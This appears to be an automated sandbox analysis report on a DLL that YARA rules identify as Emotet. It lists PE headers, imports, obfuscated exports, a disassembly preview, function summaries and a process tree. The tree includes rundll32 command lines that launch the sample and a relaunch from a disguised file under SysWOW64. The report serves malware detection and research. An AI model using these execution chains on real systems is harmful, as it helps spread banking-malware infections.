General
Entrypoint:	0x1001cac1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A73B52 [Wed Dec 1 09:07:30 2021 UTC]
TLS Callbacks:	0x1000c340
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F7858DE2667h
call 00007F7858DE29F8h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F7858DE2513h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F7858DE2F0Eh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007F7858DE266Fh
push dword ptr [ebp+08h]
call 00007F7858DE69F4h
pop ecx
test eax, eax
je 00007F7858DE2671h
push dword ptr [ebp+08h]
call 00007F7858DE6A70h
pop ecx
test eax, eax
je 00007F7858DE2648h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F7858DE2FD3h
jmp 00007F7858DE2FB0h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002A08Ch]
push dword ptr [ebp+08h]
call dword ptr [1002A088h]
push C0000409h
call dword ptr [1002A040h]
push eax
call dword ptr [1002A090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1002A094h]
test eax, eax
je 00007F7858DE2667h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005E278h], eax
mov dword ptr [1005E274h], ecx
mov dword ptr [1005E270h], edx
mov dword ptr [1005E26Ch], ebx
mov dword ptr [1005E268h], esi
mov dword ptr [1005E264h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x5b590	0x614	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5bba4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0x1bc0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a1dc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5a300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a230	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28bb4	0x28c00	False	0.53924822661	data	6.1540438823	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x32362	0x32400	False	0.817805503731	data	7.40645381596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5d000	0x1ba4	0x1200	False	0.287109375	data	2.60484752417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5f000	0x4c4	0x600	False	0.360677083333	AmigaOS bitmap font	2.17228109861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x60000	0x1bc0	0x1c00	False	0.7880859375	data	6.62631718459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
axamexdrqyrgb	2	0x100017b0
bhramccfbdd	3	0x10001690
bptyjtyr	4	0x10001640
bxoqrnuua	5	0x100016c0
cegjceivzmgdcffk	6	0x100014e0
cgxpyqfkocm	7	0x10001480
chjbtsnqmvl	8	0x10001540
crfsijq	9	0x10001730
empxfws	10	0x10001590
fbgcvvbrlowsjsj	11	0x10001550
fjhmprw	12	0x10001660
gfqdajfucnxrv	13	0x10001850
hcloldazhuvj	14	0x10001790
idcumrbybo	15	0x10001500
ihvpwdsfllpvrzy	16	0x10001750
iuzqizpdhxqkmf	17	0x100014c0
jaarlqsruhrwpipt	18	0x100016e0
jndshbhgxdkvvtj	19	0x10001600
jniijdleqsyajeis	20	0x10001650
jtjqgma	21	0x100016f0
kffxtbzhfgbqlu	22	0x10001630
kwxkzdhqe	23	0x100016d0
lidhnvsukgiuabh	24	0x100016b0
ltcrkednwfkup	25	0x10001820
lvrmqgtvhsegpbvmq	26	0x10001770
mxvwvnerswyylp	27	0x10001520
ndlmbjceavqdintmv	28	0x100017d0
nvnriipkwrmxwsu	29	0x10001510
oafxfavxmi	30	0x10001570
ocwutlohg	31	0x100014b0
olcklbdvo	32	0x10001680
pawvqfmiz	33	0x100015e0
pdmomnjmmryopqza	34	0x10001560
plzkvjcbz	35	0x10001710
poasqvltrkgvepng	36	0x10001840
psjoyjhsrkg	37	0x100015b0
qdimtzieldbl	38	0x10001620
qzvngjfyuxpjag	39	0x10001580
relsounb	40	0x100016a0
rykebhcisi	41	0x10001670
snrvgvzpjh	42	0x100017c0
sqnfcfmocgbg	43	0x10001740
sxgllzweihxqxi	44	0x10001760
tgagxhhcfj	45	0x10001780
thjyvtvttwpah	46	0x10001830
uvypobslemtipv	47	0x10001640
vgidwtjsbwpxkdxj	48	0x100017a0
wahhdker	49	0x100014a0
wamqmispvbxt	50	0x100015f0
witvsjavqyw	51	0x10001720
wopabadcwdizvwlgk	52	0x10001490
wpzyecljz	53	0x10001800
wukgfirfwilhu	54	0x100015d0
xntbmrrxs	55	0x100017f0
xsxwxreryufxwuhh	56	0x10001700
xvgdevijtw	57	0x10001610
ydvqidso	58	0x100015c0
yggdjrsewuw	59	0x100015a0
zaeqdmhaky	60	0x100017e0
zakvwkjnk	61	0x10001700
zqbggkzy	62	0x100014f0
zqtdpertk	63	0x100014d0
zshfybkvzv	64	0x10001810
zxxopqyvfoesyhmup	65	0x10001530

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: svchost.exe PID: 5528 Parent PID: 572

General

Start time:	17:28:54
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: loaddll32.exe PID: 5816 Parent PID: 3428

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll"
Imagebase:	0xcf0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.662292442.00000000007C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.601509063.000000000083D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000002.718738083.00000000007C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.611809755.00000000007C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.611849506.000000000083D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000002.719186470.000000000083D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.670664388.000000000083D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000000.601464399.00000000007C0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3540 Parent PID: 572

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5988 Parent PID: 5816

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6816 Parent PID: 5816

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,Control_RunDLL
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000003.564390758.0000000003019000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6804 Parent PID: 5988

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",#1
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.602689535.00000000030F0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.610271162.00000000032A3000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 6868 Parent PID: 572

General

Start time:	17:28:55
Start date:	01/12/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7e4d60000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6848 Parent PID: 572

General

Start time:	17:28:56
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4424 Parent PID: 5816

General

Start time:	17:29:00
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,axamexdrqyrgb
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.628861831.0000000002D7A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1880 Parent PID: 5816

General

Start time:	17:29:07
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll,bhramccfbdd
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.602280537.000000000047A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6164 Parent PID: 572

General

Start time:	17:29:09
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 6332 Parent PID: 6164

General

Start time:	17:30:23
Start date:	01/12/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7702f0000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5752 Parent PID: 6332

General

Start time:	17:30:26
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5704 Parent PID: 6804

General

Start time:	17:31:00
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 4624 Parent PID: 6816

General

Start time:	17:31:11
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyyah\ysrainvzaakh.dkv",pczodXjTBX
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6688 Parent PID: 4424

General

Start time:	17:31:16
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6680 Parent PID: 1880

General

Start time:	17:31:20
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\2gyA5uNl6VPQUA.dll",Control_RunDLL
Imagebase:	0x8a0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 2364 Parent PID: 572

General

Start time:	17:31:20
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 3376 Parent PID: 2364

General

Start time:	17:31:21
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 156 -p 5816 -ip 5816
Imagebase:	0x270000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5796 Parent PID: 2364

General

Start time:	17:31:33
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5816 -ip 5816
Imagebase:	0x270000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5816 Parent PID: 3428 loaddll32.exeCOMMON

Executed Functions

Function 6EBFC050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EBFC225
GetLastError.KERNEL32 ref: 6EBFC22B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6EBFC247

Strings

asd, xrefs: 6EBFC21C

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 0475bc15c182fcccd1fca27b08a63dceaeb357112100ae23da284301e20506f1
Instruction ID: 26c0891a45bccd24bc581fda02065c51871e43f89cb89f75101af1ca0665b4e8
Opcode Fuzzy Hash: 0475bc15c182fcccd1fca27b08a63dceaeb357112100ae23da284301e20506f1
Instruction Fuzzy Hash: F2E18971A08346CFCB50CF98C880B6ABBE1FF84704F15456DE9558B346D731E99ACB89

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE1290, Relevance: 3.9, APIs: 3, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBE96
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBEB4
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBECD
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBECF
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBED6
Part of subcall function 6EBFBE60: GetTickCount64.KERNEL32 ref: 6EBFBEF4

GetProcessHeap.KERNEL32 ref: 6EBE1333
HeapAlloc.KERNEL32(00820000,00000000,00023800), ref: 6EBE134D
HeapFree.KERNEL32(00000000), ref: 6EBE1437

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 6d58ff672383f983ad674ac4d7b2761bf86f16b92378b9413d6a93126bdc7091
Instruction ID: 0154e6d5fc01b3f2f6db7f2e93b0dd5cd6a3ce6ada14ce273635719fda466ae7
Opcode Fuzzy Hash: 6d58ff672383f983ad674ac4d7b2761bf86f16b92378b9413d6a93126bdc7091
Instruction Fuzzy Hash: 4751C271914B808BD324CF69C940B96BBF4FF49354F248A2DE8D68BA91E730F549CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC8DB, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EBFC922
___scrt_uninitialize_crt.LIBCMT ref: 6EBFC93C

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: c6c9311d11876aa80f0047c8e887bb44702a2ac2d2ebdb56e5eb5fd08b245355
Instruction ID: ac9e0d81c5706e216c7ad4b191315f7c69e38b23d0553907395806dcf818aafa
Opcode Fuzzy Hash: c6c9311d11876aa80f0047c8e887bb44702a2ac2d2ebdb56e5eb5fd08b245355
Instruction Fuzzy Hash: 0F419D72D14695EFDB51CFE98900BAE7EB8EF85B54F104919E8146A280C7305D8A8FA8

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFC98B, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6EBFC9C8
dllmain_crt_dispatch.LIBCMT ref: 6EBFC9DF
dllmain_raw.LIBCMT ref: 6EBFCA27
dllmain_crt_dispatch.LIBCMT ref: 6EBFCA3A
dllmain_raw.LIBCMT ref: 6EBFCA4D

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 30cbe5899949e6f86c1fa881cf1d0e1898d232c9891feedb86943af364434321
Instruction ID: f69ba86875e78c7c6b227c6bbcc1b5ed8f2ff1511e1f62a511d4b4286b066772
Opcode Fuzzy Hash: 30cbe5899949e6f86c1fa881cf1d0e1898d232c9891feedb86943af364434321
Instruction Fuzzy Hash: B021A072D1029AEFDB52CEA5C840AAF3E69EF81B94F114515F8145E254C3319D878FE8

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EBEC2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EBEC2B5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EBEC2A0
WakeByAddressSingle, xrefs: 6EBEC2AF

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: cddf33d4908d80047057bd09c49c7bf99e3890e4ef72d8fcab167c919f496c7e
Instruction ID: c615d0e5a1cc7715a3aec10f4c52c92b8406f51cac759b235e2769ba366530b7
Opcode Fuzzy Hash: cddf33d4908d80047057bd09c49c7bf99e3890e4ef72d8fcab167c919f496c7e
Instruction Fuzzy Hash: C5B092B1A00599679E906AF14A0DA862EA8A9C2B86312044CA523E9200FA2689009E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EBEC325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EBEC335

Strings

WaitOnAddress, xrefs: 6EBEC32F
